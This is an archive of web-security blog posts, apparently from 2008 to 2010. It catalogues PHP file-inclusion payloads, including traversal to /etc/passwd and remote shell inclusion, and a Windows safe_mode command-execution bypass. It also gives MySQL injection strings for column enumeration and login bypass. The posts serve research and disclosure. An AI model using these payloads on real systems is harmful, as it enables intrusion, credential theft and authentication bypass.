Exploiting PHP File Inclusion – Overview

February 22, 2010

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd%00
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/%00
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ […] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=https://websec.wordpress.com/shell
    • ?file=https://websec.wordpress.com/shell.txt?
    • ?file=https://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include("http://192.168.1.10/config.php"); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.


FreeBSD directory listing with PHP file functions

November 28, 2009

Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.

The following 3 PHP codes will output a garbled directory listing of the current directory:

echo file_get_contents("./");
$a=file("./");print_r($a);
readfile("./");

While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.

download.php

<?php

$file = $_GET['file'];
echo file_get_contents("/var/www/files/".$file);

?>

#dirlist to see folders and files
download.php?file=../

#file disclosure of the found file “index.php”
download.php?file=../index.php

The directory listing only works for files in the webroot.

This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10

I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)

update:
As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.


MySQL table and column names (update 2)

November 26, 2009

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:
http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:
‘ AND (SELECT * FROM USER_TABLE) = (1)– –

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– –

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– –

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– –

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0″ or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0′).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :)

update:
you can find some more information here.

More:
update1


MySQL table and column names (update)

January 26, 2009

While reading at sla.ckers.org about some ways to get a SQL injection working if your injection point is behind a “group by” and a “limit” clause, Pragmatk came up with the PROCEDURE ANALYSE operation (available on MySQL 3/4/5) I didnt knew of yet. Although it didnt quite solve the actual problem, because it seems that you cant build some dynamic parameters for the ANALYSE function so that you could build blind SQLi vectors, it does give you information about the used database, table and column names of the query you are injecting to.
So this is another way of finding table and column names on MySQL without using the information_schema tables or load_file(). Unfortunetly you will only get the names of the columns and tables in use, but at least it will make guessing easier or maybe some columns are selected but not displayed by the webapp so that you can union select them on a different position where they do get displayed.

Here is an example: Lets assume a basic SQL query you will encounter quite often:

SELECT id, name, pass FROM users WHERE id = x

while x is our injection point. Now you can use

x = 1 PROCEDURE ANALYSE()

to get all column names, including the database and table name currently selected. You will see something like this:

test.users.id
test.users.name
test.users.pass

Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:

x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name

With that said it is neccessary that the webapp will display the first selected column, because PROCEDURE ANALYSE will reformat the whole result with its information about the columns which is normally used to identify the best datatype for this column.
Interesting operation, I wonder if there are any other I dont know of yet which can be useful in the right circumstances.

More:
update2


Book recommendation

December 10, 2008

I know its hard to find the right gifts for christmas, so here is my recommendation. This book by Mario Heiderich, Christian Matthies, fukami and myself covers everything you ever wanted to know about securing webapplications.

cover

The book is in german and guides you through writing secure webapplications (including flash) giving plenty examples for common problems, how to solve them and how to maintain your webapp. You will also learn everything about encoding and other basics, as well as the german law situation regarding webappsec. In the second part of the book we describe all common vulnerabilites in detail, including XSS, CSRF, SQLi, RCE, LFI and much more.
I can honestly recommend this book for beginners as well as for advanced developers and I’m sure even experts will learn some new tricks. It’s available in the next few days and should not be missing on your wish list ! ;)


PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)

As it is well known anyway: don’t trust the PHP safe_mode.

Update:
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!


MySQL Authentication Bypass

September 9, 2008

I used this trick already to circumvent the PHPIDS filters in some earlier versions and mentioned it shortly in my article about MySQL Syntax. However when I used the same trick to circumvent the GreenSQL database firewall I noticed that this MySQL “bug” is not well known and so I decided to shortly write about it.
Take a look at the following unsecure SQL query:

SELECT * FROM table WHERE username = ‘$username‘ and password = ‘$password

Everyone knows about the simple authentication bypass using ‘ OR 1=1/* as username or perhaps ‘ OR 1=’1 for both inputs. But what MySQL allows too is a direct comparisons of 2 strings:

SELECT * FROM table WHERE username = ‘string’=’string‘ and password = ‘string’=’string

Therefore you dont need any Operators like “OR” which are mostly detected by filters. To shorten your vector you can also use an emtpy string, narrowing your SQL injection to:

username: ‘=’
password: ‘=’

Which ends in:

SELECT * FROM table WHERE username = ‘‘=’‘ and password = ‘‘=’

and successfully bypasses authentication on MySQL. Of course you can use other operators then “equal” and use whitespaces and prefixes to build more complex vectors to circumvent filters. Please refer to the MySQL syntax article. I have also tested this behavior on MSSQL, PostgreSQL and Oracle which does not have the same behavior.

What MySQL seems to allow is a triple comparison in a WHERE clause. That means you can use:

SELECT * FROM users WHERE 1=1=1
SELECT * FROM users WHERE ‘a’=’a’=’a’

Interestingly the following queries also work:

SELECT * FROM users WHERE ‘a’=’b’=’c’
SELECT * FROM users WHERE column=’b’=’c’
SELECT * FROM users WHERE column=column=1

That means if you compare strings it doesnt matter if they are equal and it seems like if you compare columns with Strings or Integers they will get typecasted.

Lastly I would like to recommend a great article from Stefan Esser about another authentication bypass on MySQL.

updated:
MySQL does not consider this as a bug. Please refer to the bugreport for detailed information. Again this shows how flexible the MySQL syntax is (intentionally).


Follow

Get every new post delivered to your Inbox.

Join 88 other followers